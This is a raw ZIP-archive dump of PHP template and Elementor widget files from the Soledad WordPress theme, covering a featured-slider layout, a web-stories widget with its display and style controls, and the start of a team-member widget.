						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 3 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( $i % 3 == 1 || $show_cat ): ?>
									<?php if ( ! $hide_categories ): ?>
                                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
									<?php endif; ?>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php
										if ( $show_viewscount ) {
											echo '<span class="feat-countviews">';
											echo penci_get_post_views( get_the_ID() );
											echo ' ' . penci_get_setting( 'penci_trans_countviews' );
											echo '</span>';
										}
										?>
	                                    <?php echo penci_show_custom_meta_fields( [
		                                    'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
		                                    'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
		                                    'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
		                                    'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
		                                    'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
	                                    ] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 3 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     1w\ i"B`  `  =  elementor/modules/penci-featured-sliders/widgets/style-44.phpnu [        <?php
/**
 * Template part for Slider Style 44
 */
$image_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-slider-full-thumb';
if ( penci_is_mobile() ) {
	$image_size = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
}
$main_id  = 'fsm_' . rand();
$thumb_id = 'fst_' . rand();

$data_attr = '';
$data_attr .= ' data-auto="' . ( 'yes' == $settings['autoplay'] ? 'true' : 'false' ) . '"';
$data_attr .= ' data-autotime="' . ( $settings['auto_time'] ? intval( $settings['auto_time'] ) : '4000' ) . '"';
$data_attr .= ' data-speed="' . ( $settings['speed'] ? intval( $settings['speed'] ) : '600' ) . '"';
$data_attr .= ' data-loop="' . ( 'yes' == $settings['loop'] ? 'true' : 'false' ) . '"';
?>
<div class="penci-slider44-wrapper">
    <div class="penci-slider44-thumb-wrapper">
        <div class="penci-slider44-thumb penci-owl-carousel penci-owl-carousel-slider swiper" data-item="4"
             data-direction="vertical" data-desktop="4" data-tablet="2" data-mobile="2" data-margin="15"
             data-id="<?php echo $thumb_id; ?>"
             <?php echo $data_attr; ?>
             data-thumb="yes" data-height="false" data-loop="true" data-nav="false">
            <div class="penci-slider44-thumb-inner swiper-wrapper">
				<?php $thumbcount = 0;
				if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                    <div class="item swiper-slide">

                        <div class="penci-slider44-t-item">

                            <div class="pcslider-44-img">
                                <div class="penci-image-holder"
                                     style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
                                     href="<?php the_permalink(); ?>"
                                     title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></div>
                            </div>
                            <div class="pcslider-44-ct">
                                <h3><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></h3>
                            </div>

                        </div>

                    </div>
				<?php endwhile;
					wp_reset_postdata(); endif; ?>
            </div>
        </div>
    </div>
    <div class="penci-slider44-main-wrapper">
        <div class="penci-slider44-main penci-owl-carousel penci-owl-carousel-slider swiper" data-nav="true"
             data-loop="true" data-thumbs-id="<?php echo $thumb_id; ?>" data-direction="vertical"
             data-id="<?php echo $main_id; ?>" <?php echo $data_attr; ?>>
            <div class="swiper-wrapper">
				<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                    <div class="item swiper-slide">
                        <a class="penci-slider44-overlay"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
                        <div class="item-inner-content">
                            <a class="penci-image-holder"
                               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
                               href="<?php the_permalink(); ?>"
                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>

							<?php if ( ! $center_box ): ?>
                                <div class="penci-featured-content">
                                    <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
										<?php if ( ! $hide_categories && $show_cat ): ?>
                                            <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
										<?php endif; ?>
                                        <h3><a href="<?php the_permalink() ?>"
                                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                        </h3>
										<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                            <div class="feat-meta fade-in penci-fslider-fmeta">
												<?php if ( $show_meta_author ): ?>
                                                    <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                                href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
												<?php endif; ?>
												<?php if ( ! $meta_date_hide ): ?>
                                                    <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
												<?php endif; ?>
												<?php if ( ! $hide_meta_comment ): ?>
                                                    <span class="feat-comments"><a
                                                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
												<?php endif; ?>
												<?php
												if ( $show_viewscount ) {
													echo '<span class="feat-countviews">';
													echo penci_get_post_views( get_the_ID() );
													echo ' ' . penci_get_setting( 'penci_trans_countviews' );
													echo '</span>';
												}
												?>
												<?php echo penci_show_custom_meta_fields( [
													'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
													'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
													'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
													'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
													'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
												] ); ?>
                                                <?php do_action( 'penci_extra_meta' ); ?>
												<?php if ( get_the_excerpt() && ! $hide_meta_excerpt ): ?>
                                                    <div class="featured-slider-excerpt">
														<?php
														if ( get_theme_mod( 'penci_excerptcharac' ) ) {
															the_excerpt();
														} else {
															$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
															penci_the_excerpt( $excerpt_length );
														}
														?>
                                                    </div>
												<?php endif; ?>
                                            </div>
										<?php endif; ?>
                                        <div class="penci-featured-slider-button">
                                            <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                                        </div>
                                    </div>
                                </div>
							<?php endif; ?>
                        </div>
                    </div>
				<?php endwhile;
					wp_reset_postdata(); endif; ?>
            </div>
        </div>
    </div>
</div>PK     1w\t^  ^  ,  elementor/modules/penci-web-story/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciWebStory;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-web-story';
	}

	public function get_widgets() {
		return array( 'PenciWebStory' );
	}
}
PK     1w\ڽ'O  O  =  elementor/modules/penci-web-story/widgets/penci-web-story.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciWebStory\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciWebStory extends Base_Widget {

	public function get_name() {
		return 'penci-web-story';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Web Story', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-posts-carousel';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'story', 'web' );
	}

	public function get_script_depends() {
		return array( 'penci_web_stories' );
	}

	protected function register_controls() {


		$this->start_controls_section( 'section_general', array(
			'label' => esc_html__( 'Stories Query', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );
		$this->add_control( 'query_type', array(
			'label'   => __( 'Query Type', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'all',
			'options' => array(
				'all'    => esc_html__( 'All Stories', 'soledad' ),
				'custom' => esc_html__( 'Custom Stories', 'soledad' ),
			),
		) );
		$this->add_control( 'story_ids', array(
			'label'       => __( 'Custom Story', 'soledad' ),
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_posts_by_query',
			'render'      => 'penci_get_posts_title_by_id',
			'post_type'   => 'web-story',
			'multiple'    => true,
			'label_block' => true,
			'condition'   => [ 'query_type' => 'custom' ]
		) );
		$this->add_control( 'story_cat', array(
			'label'       => __( 'Categories', 'soledad' ),
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_taxonomies_by_query',
			'render'      => 'penci_get_taxonomies_title_by_id',
			'taxonomy'    => 'web_story_category',
			'multiple'    => true,
			'label_block' => true,
			'condition'   => [ 'query_type' => 'all' ]
		) );
		$this->add_control( 'story_tag', array(
			'label'       => __( 'Tags', 'soledad' ),
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_taxonomies_by_query',
			'render'      => 'penci_get_taxonomies_title_by_id',
			'taxonomy'    => 'web_story_tag',
			'multiple'    => true,
			'label_block' => true,
			'condition'   => [ 'query_type' => 'all' ]
		) );
		$this->add_control( 'ex_story_cat', array(
			'label'       => __( 'Exclude Categories', 'soledad' ),
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_taxonomies_by_query',
			'render'      => 'penci_get_taxonomies_title_by_id',
			'taxonomy'    => 'web_story_category',
			'multiple'    => true,
			'label_block' => true,
			'condition'   => [ 'query_type' => 'all' ]
		) );
		$this->add_control( 'ex_story_tag', array(
			'label'       => __( 'Exclude Tags', 'soledad' ),
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_taxonomies_by_query',
			'render'      => 'penci_get_taxonomies_title_by_id',
			'taxonomy'    => 'web_story_tag',
			'multiple'    => true,
			'label_block' => true,
			'condition'   => [ 'query_type' => 'all' ]
		) );
		$this->add_control( 'ex_story_ids', array(
			'label'       => __( 'Exlcude Custom Stories', 'soledad' ),
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_posts_by_query',
			'render'      => 'penci_get_posts_title_by_id',
			'post_type'   => 'web-story',
			'multiple'    => true,
			'label_block' => true,
			'condition'   => [ 'query_type' => 'all' ]
		) );
		$this->add_control( 'orderby', array(
			'label'     => __( 'Order By', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'date',
			'options'   => array(
				'date'          => __( 'Published Date', 'soledad' ),
				'ID'            => __('Post ID','soledad' ),
				'modified'      => __('Modified Date','soledad' ),
				'title'         => __('Post Title','soledad' ),
				'rand'          => __('Random Posts','soledad' ),
				'comment_count' => __('Comment Count','soledad' ),
				'popular'       => __('Most Viewed Posts All Time','soledad' ),
				'popular_day'   => __('Most Viewed Posts Daily','soledad' ),
				'popular7'      => __('Most Viewed Posts Once Weekly','soledad' ),
				'popular_month' => __('Most Viewed Posts Once a Month','soledad' ),
			),
			'condition' => [ 'query_type' => 'all' ]
		) );
		$this->add_control( 'order', array(
			'label'     => __( 'Order', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'desc',
			'options'   => array(
				'asc'  => __( 'ASC', 'soledad' ),
				'desc' => __( 'DESC', 'soledad' )
			),
			'condition' => [ 'query_type' => 'all' ]
		) );
		$this->add_control( 'number', array(
			'label'     => __( 'Number of Stories', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'condition' => [ 'query_type' => 'all' ],
			'default'   => get_option( 'posts_per_page' ),
		) );
		$this->add_control( 'offset', array(
			'label'     => __( 'Offset Stories', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'default'   => 0,
			'condition' => [ 'query_type' => 'all' ]
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_layout', array(
			'label' => esc_html__( 'Layout', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );
		$this->add_control( 'layout', array(
			'label'   => __( 'Layout', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'onerow',
			'options' => array(
				'onerow' => __( 'One Row', 'soledad' ),
				'grid'   => __( 'Grid', 'soledad' ),
				'slider' => __( 'Slider', 'soledad' ),
			),
		) );
		$this->add_control( 'layout_algin', array(
			'label'     => __( 'Content Align', 'soledad' ),
			'type'      => Controls_Manager::CHOOSE,
			'default'   => 'center',
			'options'   => array(
				'start'  => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'end'    => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'toggle'    => true,
			'condition' => [ 'layout' => 'grid' ],
			'selectors' => [ '{{WRAPPER}} .pc-wstories-wrapper .pc-wstories-list' => 'justify-content:{{VALUE}}' ]
		) );
		$this->add_responsive_control( 'columns', array(
			'label'          => __( 'Columns', 'soledad' ),
			'type'           => Controls_Manager::SLIDER,
			'default'        => array(
				'size' => '12',
			),
			'tablet_default' => array(
				'size' => '6'
			),
			'mobile_default' => array(
				'size' => '4'
			),
			'condition'      => [ 'layout!' => 'onerow' ],
			'render_type'    => 'template',
			'range'          => array( 'px' => array( 'min' => 2, 'max' => 12 ) ),
			'selectors'      => [
				'{{WRAPPER}} .pc-wstories-wrapper .pc-wstories-list.grid .pc-webstory-item'                    => 'width:calc(100% / {{SIZE}})',
				'{{WRAPPER}} .pc-wstories-wrapper .pc-wstories-list.slider:not(.penci-owl-loaded) .pc-webstory-item' => 'width:calc(100% / {{SIZE}})',
			],
		) );
		$this->add_responsive_control( 'onerow_cw', array(
			'label'      => __( 'Custom Item Width', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'condition'      => [ 'layout' => 'onerow' ],
			'range'      => array(
				'px' => array( 'min' => 50, 'max' => 2000 )
			),
			'size_units' => array( 'px' ),
			'selectors'  => [ '{{WRAPPER}} .pc-wstories-wrapper .pc-wstories-list.one-row .pc-webstory-item' => 'flex: 0 0 {{SIZE}}px;width:{{SIZE}}px;', ]
		) );
		$this->add_control( 'imgsize', array(
			'label'   => __( 'Thumbnail Image Size', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'options' => $this->get_list_image_sizes( true ),
		) );
		$this->add_control( 'lazyload', array(
			'label'        => __( 'Disable Lazyload on Thumbnail Images', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
		) );
		$this->add_responsive_control( 'v_spacing', array(
			'label'     => __( 'Vertical Spacing Between Items', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 600 ) ),
			'condition' => array( 'layout' => 'grid' ),
			'selectors' => [
				'{{WRAPPER}} .pc-wstories-wrapper .pc-webstory-item' => 'margin-bottom:{{SIZE}}px',
				'{{WRAPPER}} .pc-wstories'                           => 'margin-bottom:calc({{SIZE}}px * -1)',
			],
		) );
		$this->add_responsive_control( 'h_spacing', array(
			'label'     => __( 'Horizontal Spacing Between Items', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => [ '{{WRAPPER}} .pc-wstories' => '--gap:calc({{SIZE}}px / 2)' ],
		) );
		$this->add_control( 'showtitle', array(
			'label'   => __( 'Show Story Title', 'soledad' ),
			'type'    => Controls_Manager::SWITCHER,
			'default' => 'yes',
		) );
		$this->add_control( 'popup_ct_heading', array(
			'label'     => __( 'Popup Content', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_control( 'nextprev', array(
			'label'   => __( 'Show Next/Prev Buttons', 'soledad' ),
			'type'    => Controls_Manager::SWITCHER,
			'default' => 'yes',
		) );
		$this->add_control( 'pos', array(
			'label'   => __( 'Show Positon Number of Current Story', 'soledad' ),
			'type'    => Controls_Manager::SWITCHER,
			'default' => 'yes',
		) );
		$this->end_controls_section();

		$this->start_controls_section( 'section_carousel_options', array(
			'label'     => __( 'Carousel Options', 'soledad' ),
			'condition' => array( 'layout' => 'slider' ),
		) );

		$this->add_control( 'carousel_slider_effect', array(
			'label'   => __( 'Carousel Slider Effect', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => get_theme_mod( 'penci_carousel_slider_effect', 'swing' ),
			'options' => array(
				'default' => 'Default',
				'swing'   => 'Swing',
			),
		) );

		$this->add_control( 'autoplay', array(
			'label'   => __( 'Autoplay', 'soledad' ),
			'type'    => Controls_Manager::SWITCHER,
			'default' => 'yes',
		) );

		$this->add_control( 'loop', array(
			'label'   => __( 'Carousel Loop', 'soledad' ),
			'type'    => Controls_Manager::SWITCHER,
			'default' => 'yes',
			'condition' => [ 'carousel_slider_effect' => 'default' ],
		) );
		$this->add_control( 'auto_time', array(
			'label'   => __( 'Carousel Auto Time ( 1000 = 1s )', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'default' => 4000,
		) );
		$this->add_control( 'speed', array(
			'label'   => __( 'Carousel Speed ( 1000 = 1s )', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'default' => 600,
		) );
		$this->add_control( 'shownav', array(
			'label'   => __( 'Show next/prev buttons', 'soledad' ),
			'type'    => Controls_Manager::SWITCHER,
			'default' => 'yes',
		) );
		$this->add_control( 'showdots', array(
			'label' => __( 'Show dots navigation', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->end_controls_section();
		$this->register_block_title_section_controls();

		$this->start_controls_section( 'section_style', array(
			'label' => esc_html__( 'Stories', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );
		$this->add_responsive_control( 'border_radius', array(
			'label'      => __( 'Border Radius', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pc-wstories-wrapper .pc-webstory-thumb-wrapper, {{WRAPPER}} .pc-wstories-wrapper .pc-webstory-thumb' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );
		$this->add_responsive_control( 'bdwidth', array(
			'label'     => __( 'Borders Width', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => [ '{{WRAPPER}} .pc-wstories-wrapper .pc-webstory-thumb-wrapper' => 'padding:{{SIZE}}px' ]
		) );
		$this->add_control( 'bdcolor_title', array(
			'label'     => __( 'Story Borders Color', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_group_control( \Elementor\Group_Control_Background::get_type(), array(
			'name'     => 'bdcolor',
			'label'    => __( 'Story Borders Color', 'soledad' ),
			'types'    => array( 'classic', 'gradient' ),
			'selector' => '{{WRAPPER}} .pc-wstories-wrapper .pc-webstory-item .pc-webstory-thumb-wrapper',
		) );
		$this->add_control( 'bd_seencolor_title', array(
			'label'     => __( 'Story Seen Borders Color', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_group_control( \Elementor\Group_Control_Background::get_type(), array(
			'name'     => 'bd_seencolor',
			'label'    => __( 'Story Seen Borders Color', 'soledad' ),
			'types'    => array( 'classic', 'gradient' ),
			'selector' => '{{WRAPPER}} .pc-wstories-wrapper .pc-webstory-item.seen .pc-webstory-thumb-wrapper',
		) );
		$this->add_responsive_control( 'inner_bdwidth', array(
			'label'     => __( 'Inner Borders Width', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'separator' => 'before',
			'selectors' => [ '{{WRAPPER}} .pc-wstories-wrapper .pc-webstory-thumb' => 'border-width:{{SIZE}}px' ]
		) );
		$this->add_control( 'inner_bdcolor', array(
			'label'     => __( 'Inner Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pc-wstories-wrapper .pc-webstory-thumb' => 'border-color:{{VALUE}}' ]
		) );
		$this->end_controls_section();

		$this->start_controls_section( 'section_title_style', array(
			'label'     => esc_html__( 'Title', 'soledad' ),
			'tab'       => Controls_Manager::TAB_STYLE,
			'condition' => [ 'showtitle' => 'yes' ]
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'title_typo',
			'label'    => __( 'Typography for Story Title', 'soledad' ),
			'selector' => '{{WRAPPER}} .pc-wstories-wrapper .pc-webstory-item-title h4',
		) );
		$this->add_control( 'title_color', array(
			'label'     => __( 'Story Title Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pc-wstories-wrapper .pc-webstory-item-title h4' => 'color:{{VALUE}}' ]
		) );
		$this->add_responsive_control( 'title_spacing', array(
			'label'     => __( 'Spacing Between Title & Thumbnail', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array(
				'px' => array( 'min' => 0, 'max' => 200 )
			),
			'selectors' => [ '{{WRAPPER}} .pc-wstories-wrapper .pc-webstory-item-title' => 'margin-top:{{SIZE}}px' ]
		) );
		$this->end_controls_section();

		$this->start_controls_section( 'popup_style', array(
			'label' => esc_html__( 'Popup', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );
		$this->add_control( 'ajax_loading_style', array(
			'type'    => Controls_Manager::SELECT,
			'label'   => esc_html__( 'Loading Icon Style', 'soledad' ),
			'default' => 'df',
			'options' => [
				'df' => 'Follow Customize',
				's9' => 'Style 1',
				's2' => 'Style 2',
				's3' => 'Style 3',
				's4' => 'Style 4',
				's5' => 'Style 5',
				's6' => 'Style 6',
				's1' => 'Style 7',
			],
		) );
		$this->add_control( 'loading_icon_color', array(
			'label'     => __( 'Loading Icon Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-loading-animation-1 .penci-loading-animation,{{WRAPPER}} .penci-loading-animation-1 .penci-loading-animation:before,{{WRAPPER}} .penci-loading-animation-1 .penci-loading-animation:after,{{WRAPPER}} .penci-loading-animation-5 .penci-loading-animation,{{WRAPPER}} .penci-loading-animation-6 .penci-loading-animation:before,{{WRAPPER}} .penci-loading-animation-7 .penci-loading-animation,{{WRAPPER}} .penci-loading-animation-8 .penci-loading-animation,{{WRAPPER}} .penci-loading-animation-9 .penci-loading-circle-inner:before,{{WRAPPER}} .penci-loading-animation-1>div,{{WRAPPER}} .penci-three-bounce .one,{{WRAPPER}} .penci-three-bounce .two,.penci-three-bounce .three' => 'background-color: {{VALUE}}',
				'{{WRAPPER}}'                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   => '--pc-loader-2:{{VALUE}}'
			),
		) );
		$this->add_control( 'loading_bgcolor', array(
			'label'     => __( 'Loading Overlay Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pc-wstories-popup-wrapper' => 'background-color:{{VALUE}}'
			),
		) );
		$this->add_control( 'navigation_btn_heading', array(
			'label'     => __( 'Next/Prev Buttons', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_control( 'navigation_btn_color', array(
			'label'     => __( 'Next/Prev Buttons Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pc-wstories-popup-wrapper .pc-ws-btn' => 'color:{{VALUE}}'
			),
		) );
		$this->add_control( 'navigation_btn_hcolor', array(
			'label'     => __( 'Next/Prev Buttons Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pc-wstories-popup-wrapper .pc-ws-btn:hover' => 'color:{{VALUE}}'
			),
		) );
		$this->add_responsive_control( 'navigation_btn_size', array(
			'label'     => __( 'Next/Prev Buttons Size', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pc-wstories-popup-wrapper .pc-ws-btn' => 'font-size:{{SIZE}}px'
			),
		) );
		$this->end_controls_section();

		$this->register_block_title_style_section_controls();
	}

	protected function render() {
		$settings = $this->get_settings();
		$this->markup_block_title( $settings, $this );
		\penci_webstories( $settings );
	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}
}
PK     1w\R8t    .  elementor/modules/penci-team-member/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciTeamMember;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-team-member';
	}

	public function get_widgets() {
		return array( 'PenciTeamMember' );
	}
}
PK     1w\doo  oo  A  elementor/modules/penci-team-member/widgets/penci-team-member.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciTeamMember\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Image_Size;
use Elementor\Group_Control_Typography;
use Elementor\Repeater;
use Elementor\Utils;
use PenciSoledadElementor\Base\Base_Widget;

